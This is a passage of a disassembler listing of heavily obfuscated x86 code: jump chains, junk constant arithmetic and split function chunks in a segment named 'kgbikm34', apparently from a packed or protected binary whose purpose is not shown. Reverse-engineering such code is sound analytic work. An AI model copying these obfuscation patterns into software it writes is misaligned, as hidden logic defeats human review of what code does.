		mov	byte ptr [eax],	0C3h
		jmp	loc_4377E4
; END OF FUNCTION CHUNK	FOR sub_444600

; =============== S U B	R O U T	I N E =======================================



sub_444C02	proc near		; CODE XREF: .text:004090C3p
					; sub_444C02+5j
					; DATA XREF: ...
		call	sub_444C12
		jmp	ds:off_41E098
sub_444C02	endp

; ---------------------------------------------------------------------------

loc_444C0D:				; CODE XREF: kgbikm34:0044597Ej
		jmp	loc_4423F0

; =============== S U B	R O U T	I N E =======================================



sub_444C12	proc near		; CODE XREF: sub_444C02p
					; kgbikm34:loc_44559Fj	...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004452B3 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 004455A4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004457AB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044D5BA SIZE 00000005 BYTES

		jns	loc_4455A4
		push	offset loc_447FEB
		jmp	nullsub_67
sub_444C12	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4C9

loc_444C22:				; CODE XREF: sub_43F4C9:loc_441EE7j
		add	edx, eax
		jmp	loc_43C9EB
; END OF FUNCTION CHUNK	FOR sub_43F4C9
; ---------------------------------------------------------------------------

loc_444C29:				; DATA XREF: sub_449D78-E254o
		add	edx, 949DE3Ch
		xchg	edx, [esp]
		jmp	loc_43ADB6
; ---------------------------------------------------------------------------
		push	edx
		push	0E79593ABh
		pop	edx
		rol	edx, 3
		xor	edx, 9E66CF6Ch
		and	edx, 0E5A192A4h
		xor	edx, 0E794E430h
		add	edx, 0B92CEBF8h
		jmp	loc_44463F
; ---------------------------------------------------------------------------

loc_444C5E:				; CODE XREF: kgbikm34:loc_43E521j
		push	offset loc_43A84F
		jmp	loc_449AA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449794

loc_444C68:				; CODE XREF: sub_449794+70Aj
		add	edx, ebx
		pop	ebx
		mov	edx, [edx]
		push	(offset	loc_445454+1)
		jmp	nullsub_335
; END OF FUNCTION CHUNK	FOR sub_449794
; ---------------------------------------------------------------------------

loc_444C77:				; CODE XREF: kgbikm34:004460BFj
		jle	loc_439DE0

; =============== S U B	R O U T	I N E =======================================



sub_444C7D	proc near		; CODE XREF: sub_43F725+6323p
					; kgbikm34:0044D8BAj

; FUNCTION CHUNK AT 0043BF19 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	byte ptr [eax],	0
		inc	dword ptr [ebp-24h]
		jmp	loc_43BF19
sub_444C7D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_444C8C	proc near		; DATA XREF: kgbikm34:0044E051o

; FUNCTION CHUNK AT 00440357 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00440FE5 SIZE 00000005 BYTES

		push	9F2100DFh
		pop	eax
		sub	eax, 0D16C8484h
		and	eax, 181D97B8h
		jmp	loc_440357
sub_444C8C	endp

; ---------------------------------------------------------------------------
		jo	loc_44B564
		jmp	sub_43DCAC
; ---------------------------------------------------------------------------

loc_444CAE:				; CODE XREF: kgbikm34:loc_43EFB0j
		xchg	eax, [esp]
		jmp	loc_44AAAE
; ---------------------------------------------------------------------------

loc_444CB6:				; DATA XREF: sub_43B2CF+464Do
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_448235
		jmp	loc_439671
; ---------------------------------------------------------------------------

loc_444CC7:				; CODE XREF: kgbikm34:loc_44E173j
		mov	[ecx], eax
		xchg	edx, [esp]
		mov	ecx, edx
		pop	edx
		lea	eax, nullsub_4
		jmp	loc_43A969
; ---------------------------------------------------------------------------
		popf
		cdq
		jmp	sub_44769E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FF32

loc_444CE1:				; CODE XREF: sub_43FF32+Ej
		push	esi
		push	0F024CC83h
		pop	esi
		and	esi, 3E865E9Ah
		jmp	loc_440AE6
; END OF FUNCTION CHUNK	FOR sub_43FF32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A179

loc_444CF3:				; CODE XREF: sub_43A179:loc_44AF38j
		pop	ebx
		mov	eax, [esp-8+arg_4]
		push	edx
		call	sub_43A4CE
		mov	eax, 86B13FACh
		jmp	loc_441CB0
; END OF FUNCTION CHUNK	FOR sub_43A179
; ---------------------------------------------------------------------------

loc_444D07:				; CODE XREF: kgbikm34:004472BFj
		add	edi, 2FD1437Ch
		mov	ebp, [eax]
		shr	ebx, 12h

loc_444D12:				; CODE XREF: kgbikm34:004419F7j
		and	edi, 9AB34F5Ch
		jmp	loc_44504B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_277. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_444D1E:				; CODE XREF: kgbikm34:0043FD3Bj
		jmp	loc_43BBAE
; ---------------------------------------------------------------------------

loc_444D23:				; CODE XREF: kgbikm34:0044BD94j
		rol	ebx, 5

; =============== S U B	R O U T	I N E =======================================



sub_444D26	proc near		; CODE XREF: sub_442B15-2C87p

; FUNCTION CHUNK AT 004373BC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043CC01 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043D81E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EE35 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 004427A6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00442FE8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00443941 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00443F3D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445714 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448817 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044C496 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044DF3D SIZE 0000000A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [eax]
		jmp	loc_43D81E
sub_444D26	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_444D31:				; CODE XREF: kgbikm34:0044B4EEj
		jl	loc_44DD29
		rol	ecx, 5
		jmp	sub_438DDF
; ---------------------------------------------------------------------------

loc_444D3F:				; DATA XREF: kgbikm34:004418B8o
		ror	eax, 15h
		push	edi
		push	3B23ACEDh
		pop	edi
		rol	edi, 17h
		add	edi, 0C33C23h
		jmp	loc_439C70
; ---------------------------------------------------------------------------

loc_444D57:				; CODE XREF: kgbikm34:0043EA12j
		jge	loc_44C38D
		cdq
		jmp	loc_44C389
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C1F4

loc_444D63:				; CODE XREF: sub_43C1F4+Ej
		and	esi, 7EAB5CCCh
		xor	esi, 6EB8BE02h
		or	esi, 183B484h
		test	esi, 2000h
		jmp	loc_44C980
; END OF FUNCTION CHUNK	FOR sub_43C1F4
; ---------------------------------------------------------------------------

loc_444D80:				; CODE XREF: kgbikm34:loc_43CB55j
					; kgbikm34:loc_449D72j
		xchg	eax, [esp]
		jmp	sub_43BF6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C167

loc_444D88:				; CODE XREF: sub_43C167+95E9j
		cmp	ebp, 0C3F7B97Bh
		jmp	loc_449C90
; END OF FUNCTION CHUNK	FOR sub_43C167
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441819

loc_444D93:				; CODE XREF: sub_441819+1BCj
		pop	eax
		xor	eax, 0A994893Fh
		add	eax, 0A8779D93h
		popf
		xchg	eax, [esp+8+var_8]
		jmp	loc_446DC9
; END OF FUNCTION CHUNK	FOR sub_441819
; ---------------------------------------------------------------------------
		mov	ds:off_41E1A0, eax
		jmp	loc_44A690
; ---------------------------------------------------------------------------

loc_444DB4:				; CODE XREF: kgbikm34:00447510j
		rol	ebp, 0Ah
		jmp	loc_43F217
; ---------------------------------------------------------------------------

loc_444DBC:				; CODE XREF: kgbikm34:0043DE51j
		xor	esi, ds:4000F6h
		test	esi, 2000000h
		jmp	loc_44477B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4446F8

loc_444DCD:				; CODE XREF: sub_4446F8:loc_43D1ECj
		jz	loc_4466CA
		jmp	loc_44969A
; END OF FUNCTION CHUNK	FOR sub_4446F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4433D8

loc_444DD8:				; CODE XREF: sub_4433D8+Cj
		mov	eax, ds:dword_43A8D8
		or	eax, eax
		jnz	loc_445FBE
		jmp	loc_44433E
; END OF FUNCTION CHUNK	FOR sub_4433D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447B31

loc_444DEB:				; CODE XREF: sub_447B31:loc_44A84Ej
		jnz	loc_4476CA
		jmp	loc_44B2A1
; END OF FUNCTION CHUNK	FOR sub_447B31
; ---------------------------------------------------------------------------

loc_444DF6:				; DATA XREF: sub_441D2F-90C0o
		push	0ACA07A75h
		pop	ecx
		or	ecx, 0F5D905D9h
		sub	ecx, 2BCFAEEBh
		add	ecx, 73F2D05Bh
		xor	ecx, 8133B02h
		popf
		add	eax, ecx
		jmp	loc_4475B8

; =============== S U B	R O U T	I N E =======================================



sub_444E1C	proc near		; CODE XREF: sub_4446F8+9p
					; kgbikm34:0044D4A3j

; FUNCTION CHUNK AT 0043C8FC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D476 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C2F7 SIZE 00000008 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		setz	al
		call	sub_4396C0
		pop	ecx
		jmp	loc_43D476
sub_444E1C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_444E2E:				; CODE XREF: sub_43C55C:loc_438804j
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_44C2FF
		mov	eax, [ebp+8]
		jmp	loc_43CCAA
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B47A

loc_444E40:				; CODE XREF: sub_44B47A-F8DEj
		or	esi, 48AA7C44h
		add	esi, 345FFFA8h
		and	esi, 0EA524ECEh
		xor	esi, 9FB5D38Eh
		add	esi, ebp
		jmp	loc_442FAB
; END OF FUNCTION CHUNK	FOR sub_44B47A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EF3C

loc_444E5F:				; CODE XREF: sub_43EF3C+D2F3j
		jnz	loc_439BCA
; END OF FUNCTION CHUNK	FOR sub_43EF3C
; START	OF FUNCTION CHUNK FOR sub_43CFA5

loc_444E65:				; CODE XREF: sub_43CFA5+7B81j
		jmp	loc_438A4A
; END OF FUNCTION CHUNK	FOR sub_43CFA5
; ---------------------------------------------------------------------------

loc_444E6A:				; CODE XREF: kgbikm34:00442D80j
		jmp	loc_4456EF
; ---------------------------------------------------------------------------

loc_444E6F:				; CODE XREF: kgbikm34:004404E6j
		jmp	locret_43D2BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F72

loc_444E74:				; CODE XREF: sub_439F72-14EDj
		jmp	loc_440DAF
; END OF FUNCTION CHUNK	FOR sub_439F72
; ---------------------------------------------------------------------------
		shr	edi, 19h
		push	0CEE6067Bh

loc_444E81:				; CODE XREF: kgbikm34:loc_44D715j
		jmp	loc_439BC8
; ---------------------------------------------------------------------------

loc_444E86:				; CODE XREF: kgbikm34:loc_446C79j
		push	offset sub_4406EC
		jmp	loc_44117A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F1B

loc_444E90:				; CODE XREF: sub_445F1B+9j
		pop	ebp
		and	ebx, 56A0A85Fh
		sub	ebx, 0BD74AD8Bh
		or	ebx, 8AC4630Eh
		add	ebx, 3551EC9Ah
		mov	[ebx], eax
		jmp	loc_4480B8
; END OF FUNCTION CHUNK	FOR sub_445F1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_444EB0:				; CODE XREF: sub_439587+34CDj
					; DATA XREF: kgbikm34:00444F1Ao
		jns	loc_44A722
		mov	eax, [esp+4+var_4]
		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp+0]
		jmp	loc_43AD52
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------

loc_444EC4:				; DATA XREF: sub_438BFC+1o
		push	0CF4E65C5h
		pop	edx
		or	edx, ds:4000F2h
		sub	edx, ds:4000F4h
		xor	edx, 1337EE67h
		test	edx, 4000h
		jmp	loc_43BC3A
; ---------------------------------------------------------------------------
		shr	ebx, 1Dh
		jmp	loc_43DD7A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_246. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_444EF0:				; CODE XREF: sub_44D21F-12022j
		jmp	loc_44ADD8
; END OF FUNCTION CHUNK	FOR sub_44D21F
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, eax
		xchg	edi, [esp]

loc_444EFB:				; CODE XREF: kgbikm34:loc_44366Fj
					; kgbikm34:0044B90Ej
		call	sub_444F06
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4400D1

loc_444F01:				; CODE XREF: sub_4400D1+Fj
		jmp	loc_43FED5
; END OF FUNCTION CHUNK	FOR sub_4400D1

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444F06	proc near		; CODE XREF: kgbikm34:loc_444EFBp
		push	ebp
		mov	ebp, esp
		call	sub_4466A3
sub_444F06	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_439D4B

loc_444F0E:				; CODE XREF: sub_439D4B+140FCj
		jmp	loc_447414
; END OF FUNCTION CHUNK	FOR sub_439D4B
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E05C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_369. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	offset loc_444EB0
		jmp	loc_441573
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F039

loc_444F24:				; CODE XREF: sub_43F039:loc_43BFCCj
		call	sub_43ACD5
		push	1EBF5973h
		pop	eax
		rol	eax, 17h
		jmp	loc_437A82
; END OF FUNCTION CHUNK	FOR sub_43F039
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CABC

loc_444F37:				; CODE XREF: sub_44CABC-CE6Ej
		or	ecx, 0E5696A6Ah
		add	ecx, 300BFA9Ah
		xor	eax, ecx
		pop	ecx
		jmp	loc_446FEF
; END OF FUNCTION CHUNK	FOR sub_44CABC

; =============== S U B	R O U T	I N E =======================================



sub_444F4B	proc near		; DATA XREF: kgbikm34:00443173o

; FUNCTION CHUNK AT 00444A79 SIZE 00000008 BYTES

		push	0FBBB7B81h
		pop	eax
		or	eax, 839FBEC0h
		add	eax, 0E1E5D128h
		call	sub_447800

loc_444F62:				; CODE XREF: kgbikm34:0043C39Bj
		jmp	loc_444A79
sub_444F4B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AD73

loc_444F67:				; CODE XREF: sub_44AD73+17j
		and	edx, ds:4000F4h
		xor	edx, 0E9A9EA0h
		add	edx, ebp
		push	esi
		push	offset sub_44964D
		jmp	nullsub_353
; END OF FUNCTION CHUNK	FOR sub_44AD73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6C7

loc_444F80:				; CODE XREF: sub_43A6C7:loc_44BDA4j
		xor	ebx, edi
		add	eax, 80781F63h
		cmp	edx, 5F51175Ah
		jmp	loc_43AF04
; END OF FUNCTION CHUNK	FOR sub_43A6C7

; =============== S U B	R O U T	I N E =======================================



sub_444F93	proc near		; DATA XREF: sub_4456B7-B86o

arg_0		= dword	ptr  4

		popf
		xchg	edx, [esp-4+arg_0]
		jmp	loc_44B4E7
sub_444F93	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_444F9C:				; DATA XREF: sub_4466E3+1o
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebp
		mov	ebp, ebx
		xchg	ebp, [esp]
		mov	[ebp-4], eax
		push	6367D77Eh
		pop	eax
		jmp	loc_44695F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_35. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_444FB6:				; CODE XREF: sub_439BDE+1A53j
		shl	edx, 1Dh
		jmp	loc_440D94
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_444FBE:				; CODE XREF: sub_446F79+4j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_443A48
		jmp	loc_441E71
; END OF FUNCTION CHUNK	FOR sub_446F79
; ---------------------------------------------------------------------------

loc_444FD2:				; CODE XREF: kgbikm34:0043759Cj
		jo	loc_4421EA

; =============== S U B	R O U T	I N E =======================================



sub_444FD8	proc near		; CODE XREF: sub_44DC8B+8p

; FUNCTION CHUNK AT 0043C0DA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BE0F SIZE 0000000F BYTES

		xchg	esi, [esp+0]

loc_444FDB:				; CODE XREF: sub_4478CD+A75j
		pop	esi
		xor	eax, eax
		push	edx
		jmp	loc_44BE0F
sub_444FD8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_444FE4:				; CODE XREF: sub_4474D5-BA60j
					; kgbikm34:loc_44A6A1j
		jnb	loc_447D48

loc_444FEA:				; CODE XREF: sub_4474D5:loc_445674j
		mov	eax, 0CFF9C25h
		push	edi
		push	0C7BEC6BAh
		pop	edi
		jmp	loc_43FAC1
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------

loc_444FFB:				; CODE XREF: kgbikm34:0044712Bj
		jbe	loc_4470AA

; =============== S U B	R O U T	I N E =======================================



sub_445001	proc near		; CODE XREF: sub_43DC9A+CA4Ap
		xchg	ecx, [esp+0]
		pop	ecx
sub_445001	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43AD9F

loc_445005:				; CODE XREF: sub_43AD9F+7BD2j
					; kgbikm34:0044ABE3j
		mov	[ebp-8], eax
		push	offset sub_446129
		jmp	nullsub_224
; END OF FUNCTION CHUNK	FOR sub_43AD9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D8F8

loc_445012:				; CODE XREF: kgbikm34:loc_43F8E8j
					; sub_44D8F8-A8CEj
		mov	eax, [esp-4+arg_0]
		push	edx
		push	edx
		push	0C317C4BFh
		pop	edx
		jmp	loc_43F119
; END OF FUNCTION CHUNK	FOR sub_44D8F8

; =============== S U B	R O U T	I N E =======================================



sub_445022	proc near		; CODE XREF: sub_43C832:loc_447AE2p
					; kgbikm34:0044CBF8j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00449DB1 SIZE 00000014 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	5F433DC4h
		pop	ebx
		and	ebx, 7C55390Dh
		rol	ebx, 0Ch
		and	ebx, 1407CA05h
		jmp	loc_449DB1
sub_445022	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		adc	ecx, 0D93A2348h
		jmp	sub_447749
; ---------------------------------------------------------------------------

loc_44504B:				; CODE XREF: kgbikm34:00444D18j
		add	edi, 0E61ED140h
		mov	[edi], eax
		pop	edi
		lea	eax, sub_43D4E9
		jmp	loc_44CFE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CF08

loc_44505F:				; CODE XREF: sub_44CF08:loc_440E69j
		pop	edx
		and	edx, 2822CB4Ah
		or	edx, 0E67C0062h
		sub	edx, 0E5472396h
		jnb	loc_443B9D

loc_445078:				; CODE XREF: sub_43CAB5+10ABAj
		jmp	loc_43F81A
; END OF FUNCTION CHUNK	FOR sub_44CF08
; ---------------------------------------------------------------------------
		jns	loc_44BAC0
		jmp	loc_443B8D

; =============== S U B	R O U T	I N E =======================================



sub_445088	proc near		; CODE XREF: sub_43F3C5+8337p
					; kgbikm34:0044859Dj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043EB28 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xor	edx, 5053AB26h
		xor	eax, edx
		xchg	ebx, [esp-4+arg_0]
		push	offset sub_441353
		jmp	loc_43EB28
sub_445088	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4395CD

loc_4450A1:				; CODE XREF: sub_4395CD+1ADEj
		rol	eax, 0Ah
		jmp	loc_44CA0A
; END OF FUNCTION CHUNK	FOR sub_4395CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4372E5

loc_4450A9:				; CODE XREF: sub_4372E5j
		mov	eax, ds:dword_437494
		or	eax, eax
		jnz	loc_437173
		jmp	loc_43F5C8
; END OF FUNCTION CHUNK	FOR sub_4372E5
; ---------------------------------------------------------------------------
		sub	ecx, 2777BC1Fh
		jmp	sub_4495F6
; ---------------------------------------------------------------------------

loc_4450C7:				; CODE XREF: kgbikm34:00447293j
		test	edx, 100000h
		jmp	loc_44D42B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A4BD

loc_4450D2:				; CODE XREF: sub_43A4BD+12FACj
		and	edi, 4742664Fh
		or	edi, 0A7B9B9FAh
		test	edi, 800h
		jmp	loc_439FF3
; END OF FUNCTION CHUNK	FOR sub_43A4BD

; =============== S U B	R O U T	I N E =======================================



sub_4450E9	proc near		; CODE XREF: sub_43C067p
					; sub_43FCE6:loc_43FCF1j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043CFFC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444A3B SIZE 00000013 BYTES

		jb	loc_444A3B
		push	offset loc_442699
		jmp	nullsub_69
sub_4450E9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB97

loc_4450F9:				; CODE XREF: sub_43CB97:loc_44C2CBj
		xor	ebx, 6041C8A3h
		sub	ebx, 90FF7E67h
		xor	ebx, 0E97506E0h
		add	ebx, 52ACC004h
		jmp	loc_4391DB
; END OF FUNCTION CHUNK	FOR sub_43CB97
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_74. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB6E

loc_445117:				; CODE XREF: sub_44DB6E-422Ej
		jmp	loc_4481A1
; END OF FUNCTION CHUNK	FOR sub_44DB6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CE40

loc_44511C:				; CODE XREF: sub_43CE40+6j
		push	esi
		push	50CA56A9h
		pop	esi
		add	esi, ds:4000F9h
		jmp	loc_445C9F
; END OF FUNCTION CHUNK	FOR sub_43CE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44739D

loc_44512E:				; CODE XREF: sub_44739D:loc_43BCEAj
					; sub_44739D+6742j
		call	nullsub_5
		jmp	loc_44AF2E
; END OF FUNCTION CHUNK	FOR sub_44739D

; =============== S U B	R O U T	I N E =======================================



sub_445138	proc near		; CODE XREF: sub_44739D+3j

; FUNCTION CHUNK AT 00439215 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043E332 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044C44F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D1A7 SIZE 00000013 BYTES

		add	esp, 0FFFFFED0h
		mov	[ebp-0Ch], ecx
		mov	[ebp-6], dx
		push	edx
		jmp	loc_44C44F
sub_445138	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_160. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44514C:				; CODE XREF: kgbikm34:0043BC8Cj
					; kgbikm34:0043E88Dj
		jmp	nullsub_350
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DA2B

loc_445151:				; CODE XREF: sub_44DA2B-169D3j
		jmp	sub_44DA2B
; END OF FUNCTION CHUNK	FOR sub_44DA2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_445156:				; CODE XREF: sub_44114F+70D9j
		jz	loc_448700
		or	ebx, edx
		js	sub_44213E

loc_445164:				; CODE XREF: kgbikm34:00442F6Fj
		xchg	ebx, edi
		jmp	loc_4486FE
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB8F

loc_44516B:				; CODE XREF: sub_43EB8F:loc_43919Aj
		jz	loc_43FA38
		jmp	loc_43F8DE
; END OF FUNCTION CHUNK	FOR sub_43EB8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439D4B

loc_445176:				; CODE XREF: sub_439D4B:loc_4409ACj
		push	4C7A789Eh
		jmp	loc_43B374
; END OF FUNCTION CHUNK	FOR sub_439D4B
; ---------------------------------------------------------------------------

loc_445180:				; CODE XREF: kgbikm34:00439771j
		xor	esi, 0B017D6h

; =============== S U B	R O U T	I N E =======================================



sub_445186	proc near		; CODE XREF: sub_43AD9F+5CA4p

; FUNCTION CHUNK AT 00442611 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442813 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044E0F2 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	eax, 0B6842AE1h
		call	sub_43BF6F
		xor	eax, 6CAB88E0h
		rol	eax, 1Dh
		jmp	loc_442611
sub_445186	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_4451A3:				; CODE XREF: sub_439587+2677j
		pop	esi
		jmp	loc_43CA52
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4494B1

loc_4451A9:				; CODE XREF: sub_4494B1-C80j
		cmp	al, 0A4h
		jz	loc_443941
		jmp	loc_44358A
; END OF FUNCTION CHUNK	FOR sub_4494B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443681

loc_4451B6:				; CODE XREF: sub_443681+3D8Ej
		pop	ebx
		rol	ebx, 14h
		xor	ebx, 88424CBEh
		test	ebx, 4
		jmp	loc_446160
; END OF FUNCTION CHUNK	FOR sub_443681
; ---------------------------------------------------------------------------

loc_4451CB:				; CODE XREF: kgbikm34:0044E04Bj
		shl	ebp, 1Eh

; =============== S U B	R O U T	I N E =======================================



sub_4451CE	proc near		; CODE XREF: sub_43A22B+1221Fp
		xchg	edx, [esp+0]
		pop	edx
		add	eax, ebp
		add	eax, 2583FC35h
		jmp	loc_43E1B0
sub_4451CE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A80D

loc_4451DF:				; CODE XREF: sub_44A80D:loc_448723j
		mov	eax, edx
		call	sub_43F3F8
		mov	eax, [esp+0]
		call	sub_43C7C6

locret_4451EE:				; CODE XREF: kgbikm34:loc_44B908j
		retn
; END OF FUNCTION CHUNK	FOR sub_44A80D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_4451EF:				; CODE XREF: sub_4474D5+AC6j
		jmp	loc_44425D
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449804

loc_4451F4:				; CODE XREF: sub_449804+5j
		push	ecx
		jmp	loc_441938
; END OF FUNCTION CHUNK	FOR sub_449804
; ---------------------------------------------------------------------------

loc_4451FA:				; CODE XREF: kgbikm34:004438FAj
		cmp	ebp, edx
		jmp	loc_44B009
; ---------------------------------------------------------------------------

loc_445201:				; CODE XREF: kgbikm34:00438B11j
		mov	eax, [esp]
		push	edx
		call	sub_43B469
		push	7BB43334h
		jmp	loc_43DF1C
; ---------------------------------------------------------------------------

loc_445214:				; CODE XREF: kgbikm34:0043871Ej
		test	esi, ebp
		jmp	loc_449905
; ---------------------------------------------------------------------------

loc_44521B:				; CODE XREF: kgbikm34:loc_444B74j
		jz	loc_448902
		jmp	loc_43AA3C
; ---------------------------------------------------------------------------

loc_445226:				; CODE XREF: kgbikm34:0043E7D7j
		jz	loc_444174
; START	OF FUNCTION CHUNK FOR sub_43ACD5

loc_44522C:				; CODE XREF: sub_43ACD5:loc_43E7C0j
		sub	eax, 0CE740A6h
		and	eax, 0F2600EB1h
		xor	eax, 0C80AD03Fh

loc_44523E:				; CODE XREF: kgbikm34:0043E0E4j
		add	eax, ebp
		jmp	loc_44E22D
; END OF FUNCTION CHUNK	FOR sub_43ACD5
; ---------------------------------------------------------------------------
		mov	eax, 0EA34346Fh
		push	ecx
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_44524B:				; CODE XREF: sub_43741E+12EB0j
		push	145D82FCh
		pop	ecx
		jmp	loc_44D3EB
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447ED1

loc_445256:				; CODE XREF: sub_447ED1+Aj
		add	eax, 9547ADD6h
		test	eax, 1000h
		jmp	loc_443B4A
